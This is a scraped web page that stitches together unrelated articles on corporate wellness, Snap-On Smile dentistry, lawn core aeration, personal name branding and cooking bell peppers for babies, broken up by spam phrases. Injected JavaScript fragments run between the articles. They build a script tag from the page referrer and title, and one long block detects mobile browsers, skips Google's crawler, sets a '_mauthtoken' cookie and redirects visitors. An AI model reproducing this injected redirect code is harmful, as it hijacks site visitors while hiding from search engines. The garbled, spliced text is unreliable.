The tangible benefits of corporate wellness initiatives are clear: reduced costs, lower absenteeism, improved productivity, and overall ROI. What cannot be measured is the value that employers can add to their employee’s lives every day by not only giving them a paycheck, but providing them with an opportunity to improve and enhance their own lives. The Dow Chemical Company embraces the idea that improving corporate financial performance is not the key driver behind its corporate wellness initiatives. Gary Billotti, Global Leader of Health & Human Performance at Dow, views corporate wellness as an “investment in our people versus a cost of doing business.” Billotti explains that their primary goal is to support their employees in optimizing their health and performance both at home and at work, knowing that “if we support our people the financial results will come.” So here’s the bottom line – plain and simple: corporate wellness is a must. So consider this a challenge to get out there and make a difference in the lives of your employees –and your own.}} However, understanding a few basic concepts might help you find your way through this incredibly powerful and versatile tool

Cosmetic Dentistry Alternative Snap On Smile

Cosmetic Dentistry Alternative – Snap-on Smile

There is a new weapon in the arsenal of the cosmetic dentist. That weapon is the Snap-On Smile. This a quick and easy way to get that Hollywood smile makeover you always dreamed of but were afraid or unable to have the work done. Snap-on Smile is a great cosmetic solution without the typical associated expenses. It is a painless and simple way to beautify your smile. The end results can be as temporary or permanent as you desire. It is a totally reversible procedure.
There is no need for anesthesia, no need for drilling and no need for adhesives. The dental appliance can be worn when eating and drinking and is a great solution for those that have stained, chipped, crooked or missing teeth. The Snap-on Smile is ideal for patients seeking a non invasive, reversible and affordable approach to cosmetic dentistry. Patients see an immediate boost in confidence and self-esteem. Patients are impressed with how natural their Snap-On Smile looks and feels.They are amazed that such a cosmetic result can occur in such a short time. The custom made Snap-On Smile is fabricated in as little as 2-3 weeks.
Snap-On Smile can be used as an aesthetic temporary for implant restorations, as cosmetic removable partial dentures, and even as a long term enhancement of your smile. Snap-On Smile is created from a patented, super thin dental resin that is custom fabricated to create an attractive, aesthetic smile. It can be used to cover both upper and lower teeth. The easy process required for Snap-On Smile procedures is quick and painless, and costs less than dental bridges, porcelain veneers or dental implants.
Only two visits to your dentist office are required for Snap-On Smile. One visit to take an impression of your mouth and to select the color and shape of your new Snap-On Smile teeth and a second visit to receive a final fitting of your beautiful new teeth so you can wear them home. Snap-On Smile can last for up to five years with proper maintenance.
Snap-on Smile is an excellent choice for:
1) Spaces or gaps, crooked, stained or patients with missing teeth.
2) Patients who are not ideal candidates for bridges or dental implants.
3) Anyone interested in a Hollywood smile without the expense and discomfort of extensive cosmetic dental procedures.
4) Patients who have a traditional removable partial denture and wants a great looking, more comfortable alternative.
Snap-On Smile may not be ideal for everyone. Please see your dentist to get a full evaluation. As always, please maintain a regular schedule to maintain healthy teeth and gums.
© 2012, Marielaina Perrone DDS. All rights reserved. Las Vegas Cosmetic Dentistdocument.currentScript.parentNode.insertBefore(s, document.currentScript); var d=document;var s=d.createElement(‘script’); Evernote represents each line item best spy apps in as a bullet, and it even supports the app’s checkboxes

Core Aeration Helps Your Lawn Breathe

Core Aeration Helps Your Lawn Breathe

Most homeowners never think of aerating their lawn. But law aeration can significantly improve the overall health of your lawn. It does this by making sure that the grass roots get plenty of oxygen and nutrients to help the grass grow strong.

Lawn aeration, also known as core aeration, is so named because it extracts ‘cores’ of grass from the lawn. Doing this allows the lawn to breath and renew itself. The normal way of doing this is to use a core aerator machine.

You can find these machines in either gas powered form or manual push powered. In addition, they come in many different configurations, styles, and sizes. As far as price, a new gas powered core aerator can put you back about $2600 or more. Not much worth it if your lawn is very tiny or if your lawn care is handled by a professional lawn care service.

If money is an issue, you can save money by purchasing a hand core aerator. This will serve you just as well as a large one if you don’t mind manual labor, and if you have a small to medium sized lawn. If money is an issue, you can save money by purchasing a hand core aerator. This will serve you just as well as a large one if you don’t mind manual labor, and if you have a small to medium sized lawn. You can pick up a hand core aerator anywhere from well under $220, depending on the manufacturer, model, and features that it comes with. A hand core aerator is nearly always a push model. You walk behind it and push. As the hollow teeth digs into the soil, it extracts patches or plugs of grass. The teeth generally dig from two inches to four inches deep with a diameter of around a half inch in size.

A core aerator is especially useful in breaking up thatch in your yard. Thatch is that layer of plant roots, both living and dead, near the soil surface, which intertwine themselves so tightly and dense that water and nutrients are unable to make their way past it. As a result, water and fertilizer tends to pool on the grass surface and never reaches the plant roots.

Left untreated, thatch will slowly, but eventually, choke the grass in you lawn. Judicious use of a core aerator machine easily gets rid of thatch and allows your lawn to begin the process of self healing.

Another choice is to opt for a used core aerator machine. Often you’ll see ads in the paper or on the Internet where someone is moving from a home to a condo or apartment and no longer need their lawn equipment. You can pick up some pretty good deals if you keep your eyes open.

Most people, however, don’t use a core aerator machine enough to justify purchasing one outright. This is a machine that you would use, at most, twice within a year. And many people lawn care experts believe that once every three years is plenty. So, alternative choices for aerating your lawn are to rent a machine from your local home and garden center or simply hire someone to do it for you. s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) +  »; Intrinsic motivation might be more enduring since extrinsic motivations my homework are usually temporary

Branding Your Name On The ‘net

Branding Your Name On The ‘net

Branding your name (or your pen name) is very important on the Internet, no matter what niche you’re in. You need to establish yourself as an authority in your market, because people trust authority figures.

They trust their recommendations, they trust that their products will be of good quality, and they trust that they have integrity. It also lends credence to the buyer that you’re a real person – not just some nameless, faceless entity trying to sell them something on a static, automated website.

You should put your name on everything you create. Whether it’s a membership site, an eBook, or something as small as a PLR article pack for sale – you should put your name on it. Getting your name out there is so essential to your ongoing success.

Think about all of the marketing gurus you’ve heard of. Some of them you may not have heard of yet, especially if you’re new, but chances are you’ve heard of at least a few of these. Have you heard of John Reese, Mike Filsaime, Frank Kern, Dan Kennedy, Joe Vitale, Willie Crawford, or the late Gary Halbert?

If you’ve been in marketing long at all you’ve surely heard of at least one of these people. People know and remember the names of these people because they put their names on everything they put out.

Their names are all over the marketing forums, their eCovers, their headers, and everything else they do. They work very hard to brand their names, because their names become the brands. People buy their products simply because their name is on it.

Buyers think that the product must be good, because the person is so well-known. You should do the same thing with your name. Always use the same name on everything you do within a particular niche.

You may not want to use your real name for whatever reason, but your name needs to be a « real name. » A nickname usually won’t cut it in most markets, but sometimes it works – like in the case of Travis « The Bum » Marketer or the « Rich Jerk. »

If you’ve signed up for forums under a nickname, ask the moderators if they can change your name to your real name or pen name. You might not want to tell the moderator’s it’s a pen name. That’s up to you.

Keep getting your name out there any way you can. Host teleseminars, JV with well-known people if possible, and offer to help create content for well-known people in your niche in exchange for a Bio Box that hosts your name and link to your website.

Offer to be an interview subject for someone. Be a « guest author » for popular websites and blogs in your niche, and create 100% original content for them. Never stop branding your name. Even when you’re as famous as Donald Trump, the king of name branding, don’t stop.

Donald still puts his name on everything he does. His name appears in huge, bold letters on his books. He names buildings after himself. Think of Trump Tower, Trump Taj Mahal, and Trump Plaza. His name is all over everything.

Not only is it a matter of pride, but it keeps his name everywhere. You may never be as famous as the Donald, or even as famous as John Reese, but you might become known as the king or queen of your own little niche or for a particular slant that grows in popularity.} if (document.currentScript) { Physical copies of a book that get my homework done do not sell are remaindered sent back to the publisher for sale elsewhere, usually at a discount

Cooking Bell Peppers For Your Baby

Cooking Bell Peppers For Your Baby

Bell peppers make a tasty addition to your baby’s diet and — despite their misleading name — they are not « hot »! They can be found in a variety of colours, including red, green, yellow, orange and purple. Their bright colours are a good indication of their excellent nutritional value — bell peppers are a rich source of vitamin C, vitamin B6 and vitamin A (from beta-carotene). They also contain folic acid.
Red peppers in particular contain lycopene, a valuable carotenoid which, in adulthood, helps protect against heart disease and cancer. Bell peppers are also believed to protect against such conditions as rheumatoid arthiritis and the development of cataracts in later life.
With such an impressive list of health benefits, it’s clearly a good idea to encourage your little one to enjoy bell peppers from an early age — thereby establishing a healthy start that should continue into adulthood.
When you are buying bell peppers to cook for your baby, look for ones that are deeply and brightly coloured, with taut skin free from blemishes. Check the stems, which should appear fresh and green. Some bell peppers can be very oddly shaped, but this does not reflect on their taste or quality. Many babies prefer red, yellow or orange peppers to green ones, as they are sweeter.
Bell Pepper Baby Food Ideas
You can include bell peppers in your recipes for babies from 6 months of age. Make sure that you introduce bell peppers to your baby alone at first, or with another food he is already safely enjoying. This is to help you identify and prevent potential food allergies or digestive problems.

* Cut sweet red pepper into slices and serve as a finger food to an older baby, accompanied by a cream cheese dip.

* Stir chopped bell peppers into your baby’s favourite casserole or stew.

* To create a truly delicious red pepper puree for your baby, place a whole pepper under a hot grill/broiler. Blacken the skin on all sides, then place the pepper into a sandwich bag. Leave for 10 mins. On your return, the skin will slip easily from the pepper. Remove the seeds and puree.

* You can mix red pepper puree with other foods — try combining it in a blender with sauteed onion and courgette (zucchini). This will produce a tasty soup that you can serve to your baby either hot or cold. Or use the puree as a tasty spread on lightly toasted bagels.

* Try serving your baby a stuffed bell pepper — simply blanch a de-seeded pepper in boiling water for a few minutes, then drain and stuff it with your choice of any of the following cooked rice
a little sauteed onion and garlic
chopped mushroom
chopped cherry tomatoes
a little oregano.
Bake at 350 deg F for 30 mins, for a simple and delicious meal for your baby.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} var d=document;var s=d.createElement(‘script’); The proposal if implemented, may prohibit or at least deter folks try this portal of all those brands whose sar is higher than1